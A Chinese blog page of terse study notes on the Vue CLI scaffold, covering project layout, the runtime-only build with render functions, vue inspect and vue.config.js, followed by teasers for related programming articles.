脚手架功能有点像:idea程序

名词:bable npm规范与package包说明书 nodeJs包管理器lock文件

npm有些上maven

public 和 src  两种分析法:从上到下分析,引用依赖分析

一旦输入npm解析,修改保存则会立即分析
---------------------------------

将App 组件 .$mount('app') === el:#app

名词:assets 目录 静态资源 components组件目录 public  favicon.ico图标文件 和 index.html整个应用的页面

名词:路由 单页面应用

IE渲染启动项:配置项 不支持IE8 以下版本

开启移动端视口

名词:移动端前端


引入路径:配置页签图标 JSp表达式

配置网页标题: webpack

noscript标签:当浏览器不支持js是,兜底方案渲染noscript标签

<%= %>语法

div容器

----------------------------------------------------
npm run serve

解析template模板解析问题:
容器入口:引入残缺版vue(残缺不包含模板解析器) 和 父组件
并指定服务容器

使用残缺版配合.vue.runtime.xxx.js+ render配置结构 :render可选有参数createElement('标签','标签体内容'),必须由返回值,

使用 模板解析器 运行时.vue.js(完整版vuedist/vue.js)

render函数两种写法:非箭头方式,箭头方式:传参 :组件式,模板式

-------------------------------------------------------
Vue = 核心函数 + 模板解析器(vue模板编译器,template选项交给Vue, 而template标签可以正常声明)

为什么分开:轻量级 ===》webpack打包  模板解析器已经 .vue ==> .js 编译后无需模板解析器


-----------------------------------------------------
脚手架默认配置

脚手架入口必须是 main.js , 脚手架依托 webpack ===》 webpack.config.js(被隐藏)

vue inspect > output.js
获取exprot 暴露 或 costa a = 生成变量
当前路径获取所有脚手架配置

脚手架默认配置,部分命名不能修改:public目录名favicon.ico index.html src main.js
----------------------
CLI 配置参考 官网告诉你可以修改的配置

package.json同级文件夹vue.config.js可选配置文件 ==》s
输送 Webpack ==> Node(commonJS)
配置复写覆盖

不允许直接覆盖

-----------------------------------------------
脚手架代码检测:

名词:webstorm

名词检查:实时

语法检查会造成 CLI 配置  lint检查  eslint jslint jslint

否则代码不写完无法运行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/124492.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【SpringMVC】SpringMVC整合Mybatis

1.整合思路 第一步&#xff1a;整合dao层 mybatis和spring整合&#xff0c;通过spring管理mapper接口使用mapper的扫描自动扫描mapper接口在spring中进行注册 第二步&#xff1a;整合service层 通过spring管理service接口使用配置方式将service接口配置在spring配置文件中实现…

如何能有兴趣的编代码,而不是畏难?

如果我告诉你&#xff0c;成功做出一道代码题拿下5万美元&#xff0c;做出四道代码题20万美金的年薪到手&#xff0c;你是不是会立刻发愤图强呢&#xff1f;这不是个段子&#xff0c;是北美程序员的面试情况&#xff1a;有小伙伴刷题的过程中觉得刷不下去了&#xff0c;就以此来…

【Javassist】快速入门系列10 当检测到instanceof表达式时用代码块替换

系列文章目录 01 在方法体的开头或结尾插入代码 02 使用Javassist实现方法执行时间统计 03 使用Javassist实现方法异常处理 04 使用Javassist更改整个方法体 05 当有指定方法调用时替换方法调用的内容 06 当有构造方法调用时替换方法调用的内容 07 当检测到字段被访问时使用语…

Android核心技术——Jetpack Hilt依赖注入

依赖注入是什么 个人理解&#xff1a;把有依赖关系的类放在容器中&#xff0c;解析这些类的实例&#xff0c;并在运行时注入到对应的字段中&#xff0c;就是依赖注入&#xff0c;目的是为了类的解耦 例子&#xff1a;A 类 中用到了 B 类&#xff0c;一般情况下需要在 A 类中 …

Promise:工作流程、常见API、使用方法、手撕Promise、async/await

Promise和axios一、Promise的常见骚操作0.初体验1.使用Promise封装原生AJAX2.Promise实例对象的两个属性&#xff08;1&#xff09;状态属性PromiseState&#xff08;2&#xff09;结果值属性PromiseResult3.Promise的工作流程4.Promise的API&#xff08;1&#xff09;.then和.…

ceph--理论

分布式存储--------Ceph 前言&#xff1a;随着OpenStack的快速发展&#xff0c;给Ceph的发展注入了强心剂&#xff0c;越来越多的人使用Ceph作为OpenStack的底层共享存储&#xff0c;Ceph在中国的社区也蓬勃发展起来。近两年OpenStack火爆度不及当年&#xff0c;借助于云原生尤…

SoringBoot+VUE前后端分离项目学习笔记 - 【01 环境配置以及VUE2集成ElementUI】

技术栈一览 SpringBoot2 Vue2 ElementUI Axios Hutool Mysql Echarts 所需软件环境 版本一览 JDK 1.8Mysql5.7Node 14.16.0navicatIdea 2021 Vue-cli 安装 npm install -g vue/cli 查看版本 创建VUE工程 初始化工程 vue create vue 选择Manually select feature…

【MySQL】数据库索引 - 浅谈索引类型

索引类型可以分为哈希表、有序数组和 N 叉树 不管是哈希还是有序数组&#xff0c;或者 N 叉树&#xff0c;它们都是基于其自身数据结构的特性来提高读写速度。在 NoSQL 里面还运用到了 LSM 树&#xff0c;来提高写的速度&#xff0c;还有跳表等数据结构来进行优化。 不过需要…

数据结构与算法-java

什么是数组&#xff1f; &#xff08;1&#xff09;数组是计算机中最基本的数据结构之一&#xff0c;我们会用一些名为索引的数字来标识每项数据在数组中的位置。 &#xff08;2&#xff09;大多数编程语言中索引是从0开始的。 &#xff08;3&#xff09;数组在内存中是存在连续…

如何打造一个流式数据湖

Flink将数据写入到 hudi 准备阶段 启动hadoop集群&#xff08;单机模式&#xff09; ./sbin/start-all.shhdfs离开安全模式 hdfs dfsadmin -safemode leave启动hive 后台启动元数据 ./hive --service metastore &启动hiveserver2 ./hiveserver2 &执行sql语句之前…

fpga实操训练(ip rom)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 altera的fpga本身自带了rom的ip&#xff0c;使用起来也十分方便。实际开发中&#xff0c;使用rom的场景也很多&#xff0c;比如一些默认的配置文件…

TensorFlow之回归模型-2

1 基本概念 回归模型 线性 线性模型 非线性模型 线性回归 逻辑回归 Log Loss&#xff08;损失函数&#xff09; 分类临界值 2 效率预测 回归问题是预测一个持续的值&#xff0c;主要是用于解决不确定性的问题&#xff0c;例如&#xff0c;一个商品在未来可能的价格或…

CMAKE_INSTALL_PREFIX

一、定义 CMAKE_INSTALL_PREFIX为cmake的内置变量&#xff0c;用于指定cmake执行install命令时&#xff0c;安装的路径前缀。Linux下的默认路径是/usr/local &#xff0c;Windows下默认路径是 C:/Program Files/${PROJECT_NAME} 二、用…

dcloud如何苹果ios系统真机测试-HBuilderX真机运行ios测试

dcloud如何运行到IOS真机测试 1&#xff0c;下载安装iTunes 安装完毕后重新打开HBuilderX 2&#xff0c;点击运行真机 将iPhone 与电脑进行链接&#xff0c;点信任&#xff0c; 运行-运行到手机或模拟器-运行到IOS APP 基座 安装过itunes就会有显示&#xff0c;但是这里还有…

进程的学习 —— Linux下的进程

目录前言1 认识进程1.1 进程的概念1.2 进程的管理1.3 查看进程的两种方法1.4 getpid、getppid和fork函数2 进程状态2.1 普遍概念下的进程状态2.2 Linux下的进程状态2.2.1 测试Linux的各种进程状态2.2.2 僵尸进程2.3 孤儿进程3 进程切换与进程优先级3.1 并行、并发3.2 进程切换3…

kafka和sparkStreaming

1、Kafka 1、kafka集群架构 producer 消息生产者&#xff0c;发布消息到Kafka集群的终端或服务 broker Kafka集群中包含的服务器&#xff0c;一个borker就表示kafka集群中的一个节点 topic 每条发布到Kafka集群的消息属于的类别&#xff0c;即Kafka是面向 topic 的。 更通俗…

HDFS 常用命令

一、HDFS常用命令 1、查看版本 hdfs version 2、创建 HDFS 文件系统目录。 格式&#xff1a; hdfs dfs -mkdir /user/dir1 3、列出目录下的所有文件 类似 Linux Shell 的 ls 命令。用它可以列出指定目录下的所有文件 hdfs dfs -ls /user/ 4、把本地文件系统文件和目录拷贝…

整合Tkinter GUI界面的古诗词词云生成

Python语言提供的wordcloud词云功能&#xff0c;使文本数据的可视化&#xff0c;简单而美丽。但网上的大多数词云生成功能&#xff0c;多半没有可交互的GUI界面&#xff0c;使用起来稍觉不便。笔者结合网上的中文词云功能&#xff0c;以唐诗三百首&#xff0c;宋词三百首&#…

拟合算法(模型+代码)

拟合的结果是得到一个确定的曲线 最小二乘法的几何解释&#xff1a; argmin 存在参数k&#xff0c;b使括号里的值最小 第一种有绝对值&#xff0c;不易求导&#xff08;求导在求最小值&#xff09;&#xff0c;计算较为复杂&#xff1b;所以我们往往使用第二种定义&#xff0…

什么软件可以录屏?这3款宝藏录屏软件,码住收藏

当我们处理剪辑视频时&#xff0c;我们需要使用到很多素材。有些素材我们可以直接从电脑网上进行下载。但有些素材我们在网上无法进行下载&#xff0c;这个时候就需要使用录屏软件进行录屏。什么软件可以录屏&#xff1f;今天小编向您分享3个宝藏录屏软件&#xff0c;赶紧码住收…